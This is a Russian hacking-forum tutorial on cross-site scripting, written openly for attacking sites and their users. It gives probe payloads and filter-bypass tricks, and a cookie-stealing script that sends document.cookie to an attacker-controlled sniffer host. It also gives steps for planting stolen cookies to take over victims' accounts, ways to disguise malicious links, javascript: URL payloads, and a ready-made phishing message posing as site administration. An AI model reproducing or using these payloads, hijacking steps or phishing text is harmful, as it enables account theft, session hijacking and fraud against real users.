первое, что бросается в глаза в разделе уязвимостей - большое количество качественного материала по SQL-Injection. А вот про такую полезную и, казалось бы, не особо сложную багу, как XSS, почти ничего приличного не нашлось... ух, держите меня семеро, буду писать! :ag: ЗЫ без базового понимания html просьба не читать! Сначала курим html!
XSS
XSS - Cross Ste Scripting (CSS уже занято Cascade Style Sheets). Уязвимость, возникающая вследствии недостаточной фильтрации вводимых пользователями и в дальнейшем отображаемых на страницах сайта данных. Позволяет разместить непосредственно на страницах сайта произвольный html-код (соответственно, код будет выполняться у всех пользователей, зашедших на страницу). Давайте подумаем, что значат для нас такие возможности. Что можно сделать интересного при помощи html. Ну, во-первых, можно просто нашалить: вывести надпись огромных размеров (да любые возможности форматирования текста в html) или поставить редирект на другой сайт (на фейк, естественно ). Редирект, если что, делается так:
. Можно также залить эксплойт или выполнить какой-либо javascript-код (как говорится, где html, там и яваскрипт). Выполнение нашего js-кода в свою очередь, даёт возможность позаимствовать аутентификационные данные пользователя - cookies (они же куки, кукисы и печеньки). Это временные файлы, которые сохраняются в браузере пользователя после авторизации. В некоторых случаях можно подставить заимствованные куки вместо своих и таким образом авторизоваться на сайте от чужого лица. Но пока не это для нас главное. Сначала уязвимость нужно... найти! Поиск уязвимости
Для того, чтобы обнаружить xss, нужно проверить на её наличие все потенциально уязвимые элементы сайта. В данном случае таковыми являются поля ввода текста, который в последующем будет отображён на страницах сайта (принтабельные поля). Это могут быть поля отправки сообщения, темы сообщения и т.п. Следует проверять на наличие уязвимости каждое такое поле. Для этого поизводим последовательно всё нижеописанное до тех пор, пока не увидим аналогичное сообщение: Итак, начинаем искать - подставляем во все принтабельные поля следующий код:
Код
<script>alert('')</script>
Ничего? Ок, пробуем так:
Код
"><script>alert('')</script>
Опять ничего!? >< Смотрим сурс (исходник) странички и ищем там что-то похожее на код выше (то есть ищем то, что мы туда внедрили). Нашли? Смотрите, что стало с нашим кодом. Скорее всего, были отфильтрованы спец-символы < и >. Без них код работать, ясное дело, не будет... Они убили скрипт! Сволочи! xD Фильтрация этих символов означает одно: активной xss здесь нет. Но не отчаиваемся, ещё есть вариант с пассивными xss и даже есть шанс обойти фильтрацию! Но об этом чуть позже (см. дополнения). Если всё же вам удалось лицезреть сообщение, значит вы нашли уязвимое поле! Ура, товарищи!
Эксплуатирование XSS
Для того, чтобы найти уязвимость, мы использовали код alert(''), который выводил пустое сообщение. Теперь, когда уязвимость найдена, можно заменить этот код на тот, который нужен нам. В описании уязвимости я говорил о том, что можно сделать. Вообще, в данном случае ваши возможности ограничены лишь возможностями html и javascript. Но особо хотелось бы осветить вопрос похищения аутентификационных данных пользователя (кукис). Кукис - временные файлы, передаваемые пользователю сервером при входе с целью дальнейшей его идентификации (дабы не вводить пароль при каждом обновлении страницы). Иногда они могут содержать логин и\или пароль пользователя в зашифрованном виде. Этот способ взлома основывается на том, что пользователь (а точнее один из видов xss-уязвимости) выполняет в браузере определённый код. Этот код выполняет запрос на сниффер в виде куков жертвы. Так кукис приходят на сниффер. Важное условие - жертва должна быть авторизована на сайте (должна была получить кукис, которые отправляет скрипт). Возможно, вам не даёт покоя слово сниффер? Сообщение от Wikipedia
Цитата
Анализатор трафика, или сниффер (от англ. to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.
Помимо снифферов сетевых устройств, есть ещё и http-снифферы. Они предназначены для ловли и записи http-запросов, отправленных им, а также ip-адреса и версии браузера пользователя, отправившего запрос. В нашем случае таким запросом на сниффер будут приходить cookies жертвы. Итак, нам нужно заиметь сей инвентарь - http-сниффер. Качаем и ставим сниффер моей сборки... (MX-software proudly presents... эм, так, о чём это я...) и внимательно там читаем инструкцию по установке! Кстати, советую сначала обкатать и изучить всё на локалхосте (просто так в сто раз быстрее). Ок, начинаем настройку и установку сниффера:
Где-то на просторах тырнета нашёл простенький (читай: примитивный) сниффер по типу того, что стоит тут на HPC (ну нет, тут не примитивный :smartass: ) и решил его немного модифицировать... после недолгого шаманизма сделал из примитивного сниффера простенький сниффер, но главное - добавил страничку с кодами для кражи кукис!
Собственно, качаем (ссылка чуть была выше), настраиваем логин и пасс в файле config.php (по-умолчанию: login;pass), в файле codes.htm и script.js замените все строки "yourhost.com" на ваш хост (тупо заменой по всему документу), ещё можете в файл yourimage.gif сохранять любую вашу .gif картинку (по-умолчанию там пустая картинка). Теперь весь этот хлам заливаем на хост (на файл base.txt права 777 не забываем ставить!) и юзаем на здоровье!
В чём тут ссуть? Да где стоят, там и... ой.. ну всмысле суть в том, что url вашего личного сниффера антивирусниками палиться не будет! :banana:
Поставили? Вот и всё, уже можно юзать!... ах, да, вы, может быть, не умеете?... но ничего, сейчас объясню! :hmcool:
Использование http-сниффера
(Кто умеет, всё равно гляньте по-быстрому, может что нового поймёте =) ) Итак, заходите на сайт, где находится ваш сниффер. Знакомимся с интерфейсом: есть дата и время зачем-то ещё наш ip. За ними кнопочка обновления лога. А ещё есть таккая штука, как картинка сниффера. Имя её в моей сборке - s.gif Вот именно через обращения к этой картинке сниффер и ловит все запросы. Откройте эту самую картинку (yourhost.com/s.gif) и обновите лог. Видите новую запись? В нашем распоряжении время совершения запроса, ip того, кто обратился к картинке, пустая строка запроса (QUERY), реферер (с какого сайта совершено обращение к картинке) и агент (т.е. браузер) пользователя. Теперь попробуйте к ссылке на картинку дописать что-нибудь после знака "?". Например, так:
Код
http://yourhost.com/s.gif?шо за нах o_O!
Обновляем, смотрим строку запроса (QUERY). Вывод: сниффер запишет всё, что было после ? (это и есть запрос). Итак, если вы нашли xss, вам нужен код, крадущий кукис. Каждый раз при открытии страницы с этим кодом, он будет отправлять на сниффер куки от этой страницы. Для обычной активной xss, рассматриваемой в этом уроке код будет таким:
Код
<script> img = new Image(); img.src = "http://yourhost.com/s.gif?"+document.cookie; </script>
Можно так же сделать так, чтобы после выполнения кода происходил редирект (переадресация) на другую страницу:
Не забудьте заменить yourhost.com на адрес вашего сниффера во всех кодах! Вот о чём чуть не забыл! Все эти коды я для удобства присобачил к снфферу, найдёте их там по ссылке "коды для кражи кукис"! Дальше идут очень важные факты, которые нужно чётко понимать. Если пользователь не авторизован на сайте (не вошёл под своим логином и паролем) - у него нет кукис. Если куков нет - будет отправлена пустая строка. Нельзя получить кукис от другого сайта или сервера (например, на ucoz_е кукис с аутентификационными данными находятся на другом сервере и как бы на другом сайте). Кукис имеют ограниченный "срок годности": по истечении их времени действия на сервере будет изменён номер сессии для данного пользователя и кукис станут "недействительными". Время действия может быть различно в зависимости от настроек сервера или пользовательских. Сессия может быть закрыта так же вручную пользователем, например при нажатии кнопки "выход" на сайте. Иногда в кукисах хранятся зашифрованные логин и/или пароль пользователя (о способах их расшифровки - чуть позже). Предположим, вам удалось получить кукисы жертвы. Что же теперь с ними делать? Будем подставлять их вместо своих! В Mozilla Firefox такой возможности нет, будем юзать Opera. Заходите на тот самый сайт под своими логином и паролем, дабы создать папку с куками. Теперь топаем в инструменты --> дополнительно --> управление cookies. Тперь нужно найти папку нужного сайта и заменить наши куки на те, которые пришли на сниффер. Думаю, здесь нет ничего сложного. Кукис приходят в виде имя=значение;. А в папке как раз список имён. Двойной щелчок - открывается окошко. Заменяем поле "значение" и тыкаем ок. Так пока не заменим всё, что нам пришло. Теперь закрываем управление cookies и обновляем страницу. Если всё сделали правильно - вы станете тем, чьи куки подставили (войдёте в его аккаунт)!
Дополнение 1
Поиск и обход фильтров
Освежим в памяти один момент из основной части статьи:
Цитата
Смотрим сурс (исходник) странички и ищем там что-то похожее на код выше (тоесть ищем то, что мы туда внедрили). Нашли? Смотрите, что стало с нашим кодом. Скорее всего, были отфильтрованы спец-символы < и >. Без них код работать, ясное дело, не будет... Они убили скрипт! Сволочи! xD Фильтрация этих символов означает одно: активной xss здесь нет. Но не отчаиваемся, ещё есть вариант с пассивными xss и даже есть шанс обойти фильтрацию! Но об этом чуть позже (в скором дополнении к уроку).
Во время поиска XSS вы гарантированно будете сталкиваться с подобной фильтрацией. При чём фильтроваться могут не только символы < и > , но и многие другие не менее важные для проведения атаки (внедрения работоспособного кода). В их числе:
Код
<>=();/""+
Проверяем фильтр
Просто ставим в принтабельное поле все нужные нам символы, а потом ищем их в исходнике страницы. Чтобы проще было искать, можно ещё добавить в середину какое-нибудь слово, напр. XSS просто для ориентира. Нашли? Смотрите, что осталось на месте, а что "изуродовалось" фильтром. Сразу скажу, что если эти символы (хоть какие-то из нужных нам кроме < >) заменяются на что-то другое ли удаляются, оставьте все ваши тщетные попытки внедрить код! Если же символы < > просто удалились, можно попробовать поставить тег (имено так называют эти скобки и ключевые слова в них), и Фильтр либо пропустит и не удалит это (ведь теперь тэг не пустой), либо отфильтрует как запрещённый тег. Если пропустил - всё шикарно, переходим к вставке нужного нам кода (код сниффера для кражи кукис, помните? ). А если тупо удалил, подставим вместо что-нибудь такое:
Код
<scr<script>ipt>
Скорее всего, фильтр удалит только в середине, и у нас останется рабочий тег. В случае, если снова удалились только < >, а осталось голое "sсript", тут явный облом и уязвимости нет. Ну а если < > всё таки фильтруются не всегда? Давайте экспериментировать и попытаемся всё таки вывести сообщение (alert) с текстом! Начнём с того, что забьём на классический и заменим его каким-нибудь другим тегом. Итак, если alert выводится так:
Код
</script>alert('XSS')<script>
то в вариациях с различными тегами можно попытаться встроить что-нибудь из этого:
Внимание! По некоторым сведениям, код в теге IMG может не работать в браузере Mozilla Firefox, поэтому предпочтительно избегать использования этого тега.
В общем, экспериментируйте с тегами, смотрите, как они изменяются, анализируйте поведение фильтра и, возможно, найдёте рабочую комбинацию! Из всего выше прочитанного можно сделать неутешительный вывод, что активная xss - штука тонкая и даже простому фильтру, отсеивающему только символы < > мы не в силах ничего противопоставить. Но ведь не каждый фильтр отсеивает < >, да и неопытные кодеры обычно ставят запрет как раз только на , а мы ведь знаем, что пользоваться можно не только этим тегом.
Дополнение 2
Пассивные XSS
Что, думали прочитали основную статью с дополнением и на этом всё, уже всё узнали про xss? Рано радутесь! Вплоть до этого момента речь у нас шла только об активных XSS, которые встраивались в тело страницы и сохранялись. Теперь неплохо бы разобраться ещё и с пассивными XSS. Их отличие от активных состоит в том, что пассивки мы внедряем не в тело страницы, а в адресную строку, и код нашей xss не будет сохраняться на сайте, для его выполнения придётся впарить жертве ссылку с кодом. Но обо всём этом поговорим подробно чуть позже. Итак, делаем умное лицо и начинаем вникать! xD
Поиск уязвимости
Как вы помните, для поиска активок, мы подставляли скрипт во все принтабельные поля. Теперь мы будем проводить похожий ритуал, только код будем подставлять в адресную строку (естественно, на различных страницах сайта). По поводу адресной строки поясняю... Допустим, есть адрес _http://site.com/index.php?page=1 То, что там стоит после знака ? (page=1) - это данные, передаваемые скрипту на сервере (имя скрипта идёт перед ? - index.php) get-запросом. Сами данные имеют вид "параметр=значение" (page=1). Вот наши скрипты мы будем подставлять именно как значение (после =). Пока из прочитанного вам нужно хорошо усвоить, как выглядят адреса, в которые можно пропихнуть xss (иначе как вы будете эти уязвимости искать?), а сайты с пассивками для тренировки можно найти тут. Итак, для проверки будем подставлять после = по очереди скрипт с алертом в различных вариациях:
Ставим после = сначала первый скрипт, жмём энтер, ждём окончания загрузки страницы. И так перебираем, пока не увидим таки вожделенное окошко алерта (картинка была выше). Если подстановка ничего не дала, курим обход фильтров (см. доп. 1).
Эксплуатирование
Когда речь шла об активках, мы с вами говорили о том, что на страницу можно было внедрить любой код. С пассивками всё обстоит точно также, но так как страница с внедрённым кодом нигде не сохраняется и может быть передана жертве только в виде ссылки вместе с xss-кодом, то чаще всего данную уязвимость используют только с целью хищения аутентификационных данных (кукис). Итак, теперь вместо безобидного скрипта с алертом нужно внедрить крипт сниффера. Тут встают такие проблемы, как множество символов, используемых в скрипте, которые могут фильтроваться, а также значительная длина вставляемого кода. Решать будем очень просто: код сниффера разместим у себя на хосте (можно даже там же где сниффер xD), а в самой xss будет лишь вызов этого скрипта. Как же это реализовать? Вместо значения в адресной строке (куда подставляли алерт при поиске) вставляем сей код:
Важный момент: если в алерт подставляли код, где перед стояло ещё что-то (например, алерт срабатывал так: ">alert('XSS')), то это что-то (в нашем случае ">) нужно будет оставить и перед кодом сниффера! Кстати, не забываем заменить yourhost.com в коде на реальный адрес вашего хоста, где будет лежать скрипт. А теперь что касается самого скрипта: файл script.js имеет такое содержание:
Где s.gif - картинка вашего сниффера, ну а про yourhost.com расскажет капитан Очевидность. хD Вторая строка - переадресация ползователя куда-либо (в нашем случае в гугл =) ). Если хотите оставить пользователя на той же странице, где он и был, оставьте кавычки пустыми. Но не удаляйте строку редиректа! Иначе пользователь так и останется на странице с картинкой вашего сниффера и может заподозрить неладное... (не знаю что он будет делать, но зачем лишний раз палиться и тревожить нервных юзеров? xD) Вот теперь при переходе по вашей ядовитой ссылке (которая будет иметь вид _http://site.com/index.php?page=) будет запускаться код сниффера, который, в свою очередь, запишет куки в лог, а потом либо оставит жертву в покое, либо перекинет на другой сайт. Собственно, все коды, как и файл script.js входят в комплект поставки моего сниффера. Приятного вам хака!
Дополнение 3
Шифруем подозрительную ссылку
Ещё немного дополню... имхо давать пользователям (а тем более админам) вот такие ссылки
в открытом виде слишком палевно... вам не кажется? Сейчас будем их прятать! Способ 1: топаем на tinyurl.com и вбиваем туда нашу ссылку. Получаем в результате другую... короткую и загадочную :wink: А результат её работы - тот же :banana: Способ 2: будем шифровать в base 64. Заходим сюда и кладём в поле нашу ссылку. Жмём "Encode" и получаем:
Во всех 3 случаях результат работы и способ применения ссылки один и тот же. Не забывайте, что при этом ещё необходимо правильно применить СИ, чтобы жертва перешла по ссылке, находясь на атакуемом сайте!
Дополнение 4
Самодостаточные XSS
Наконец-то добрались до последнего вида xss! По технике проведения атак эти xss, пожалуй, самые простые. Здесь не нужно искать никаких уязвимостей, здесь не нужно бояться фильтрации на сайте и заботиться о её обходе, здесь для проведения атаки кроме доверчивой жертвы вообще ничего не нужно (и это, блин, главный минус). Суть атаки заключается в том, что мы впариваем жертве ядовитый код с картинкой сниффера, как и раньше, она вставляет код в адресную строку, чтобы он выполнился, но... 1) этот код - не ссылка, поэтому будет работать с любого сайта. То есть жертва может запустить код вообще в новом окне и никаких кукисов не придёт(( 2) жертва может заподозрить неладное, когда нельзя просто нажать на ссылку, а нужно её в адрес копировать. Хотя эти проблемы легко решаются при помощи СИ (социальной инженерии). Можно, например сказать так:
Цитата
Ой, смотри какой прикол нашёл на <атакуемый сайт>! =) Вот если в адрес вставить там вот это: <даёте код> Короче, не скажу, а то так не интересно ;)
Но это если жертва... блондинко\тупая\любопытный пацанчик (нужное подчеркнуть). Хотя любопытство очень часто берёт верх над здравым смыслом... даже если здравый смысл говорит: "ссылка не знакомая... ненадо!...хотяяяя..." Если ваша цель - менее падкий на всякие "глупые прикольчики" человек, можно предложить такой вариант:
Цитата
Добрый день, уважаемый username! Вы получили это сообщение, потому что зарегистрированы на сайте таком-то. Сегодня приблизительно в 2:00 произошёл сбой сервера СУБД (чем больше умных слов, тем лучше!). Причины сбоя не известны, на данный момент существует предположение о том, что сервер подвергся хакерской атаке. Так как на сервере находилась база логинов и паролей пользователей, возможно хищение пользовательских данных. С целью защиты личных данных пользователей, все аккаунты, которые не пройдут процедуру подтверждения и смены пароля, будут удалены втечение суток. Пожалуйста, пройдите процедуру подтверждения, это не займёт у вас много времени: (смягчаем угрозу удалить аккаунт вежливой просьбой =) ) 1) Проверьте, можете ли вы авторизоваться на сайте используя ваши логин и пароль. (тут можно для верности ещё ссылку на фейк :wink 2) Смените ваш пароль. (делать это не обязательно, но настоятельно рекомендуем сменить пароль для вашей безопасности!) 3) Вставьте код подтверждения в адресную строку, находясь в вашем личном кабинете на сайте. Код подтверждения: ======================== <даёте код> ======================== Внимание! Не завершайте вашу сессию на сайте (при помощи кнопки выхода) некоторое время или до завершения проверки всех аккаунтов, иначе ваше подтверждение может аннулироваться. Об окончании проверки все пользователи будут извещены по e-mail.
Благодарим за сотрудничество.\спасибо что вы с нами! (по вкусу) Администрация какого-то сайта.
_______________ Это сообщение отправлено автоматизированной системой рассылки, отвечать на него не нужно.
Итак, это были просто примеры применения СИ в этой ситуации, думаю с впариванием кода всё ясно. =) Что-то меня занесло в другую тему и я отвлёкся (ну ничего, это тоже может пригодиться)... Всётаки вернёмся к сути... как вы уже поняли, код выполняется при вставке в адресную строку и нажатии на Enter. Попробуйте вставить это (знакомый код, а? =) ):
Код
javascript:alert('')
Думаю, много пояснений не нужно, вот сам код (в моей сборке сниффера он есть):
Если хотите после выполнения кода оставить пользователя где он был, то так этот скрипт и сделает)) А если надо добавить редирект, допишите после 2 фразы location.href адрес, куда нужно редиректить. Например, так:
А ещё, если вы использовали легенду о "коде подтверждения", можете в конец этого скрипта дописать что-нибудь такое (чтобы успокоить взволнованного пользователя):
Код
;alert('Аккаунт подтверждён успешно! #Код200')
Для меньшей палевности адресов и большей загадочности кода (чтобы у юзеров отпало желание разбираться), можно воспользоваться точно теми же методами шифрования, что были приведены в дополнении 3.
Почему в этой части уделил так много внимания СИ? Да потому, что в случае с самодостаточными xss сложностей по технической части чуть меньше чем нихрена, а самое главное - ненавязчиво, но понятно и убедительно объяснить жертве, куда и как вставлять код. Ну чтож, вперёд на сервисы анонимной отправки почты рассылать наш код! xD
Итак, что же мы теперь умеем: Искать и применять активные xss-уязвимости Обходить некоторые простые виды фильтрации Пользоваться http-сниффером Красть аутентификационные данные пользователя через xss Подставлять эти данные для авторизации от лица жертвы Находить и использовать пассивные xss Шифровать ссылки с xss-кодом Проводить самодостаточные xss атаки Впаривать код сниффера с приминением элементарных приёмов СИ
Оригинальные образы
). Редирект, если что, делается так: 
вверх
